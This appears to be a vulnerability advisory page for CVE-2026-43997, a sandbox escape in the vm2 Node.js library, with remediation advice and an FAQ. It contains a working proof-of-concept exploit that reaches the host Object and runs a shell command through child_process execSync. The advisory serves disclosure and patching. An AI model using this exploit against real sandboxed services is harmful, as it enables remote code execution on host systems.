CVE-2026-43997: vm2: Sandbox Escape
Summary
It is possible to obtain the host Object, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.
Details
There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom)
PoC
js const g = {}.lookupGetter; const a = Buffer.apply; const p = a.apply(g, [Buffer, ['proto']]); const o = p.call(p.call(a)); const HObject = o.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
const obj = { [sym]: (depth, opt, inspect) => { inspect.constructor("return process.getBuiltinModule('childprocess').execSync('ls',{stdio:'inherit'})")(); }, valueOf: undefined, constructor: undefined, };
WebAssembly.compileStreaming(obj).catch(() => {});
Impact
Sandbox Escape -> RCE
Other sources
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.0 - Upgrade
Upgrade
vm2to a version that resolves this vulnerability.Fixed in 3.11.0
Event History
Frequently Asked Questions
What is the severity of CVE-2026-43997?
CVE-2026-43997 is considered a high severity vulnerability due to its potential to allow host object access and escape from the sandbox.
How do I fix CVE-2026-43997?
To fix CVE-2026-43997, upgrade to the vm2 version 3.11.0 or later.
Which versions of vm2 are affected by CVE-2026-43997?
CVE-2026-43997 affects all versions of vm2 up to and including 3.10.5.
What type of vulnerability is CVE-2026-43997?
CVE-2026-43997 is a sandbox escape vulnerability that can allow an attacker to access the host Object.
Is there a workaround for CVE-2026-43997 if an upgrade is not possible?
There is no known workaround for CVE-2026-43997; updating to the fixed version is strongly recommended.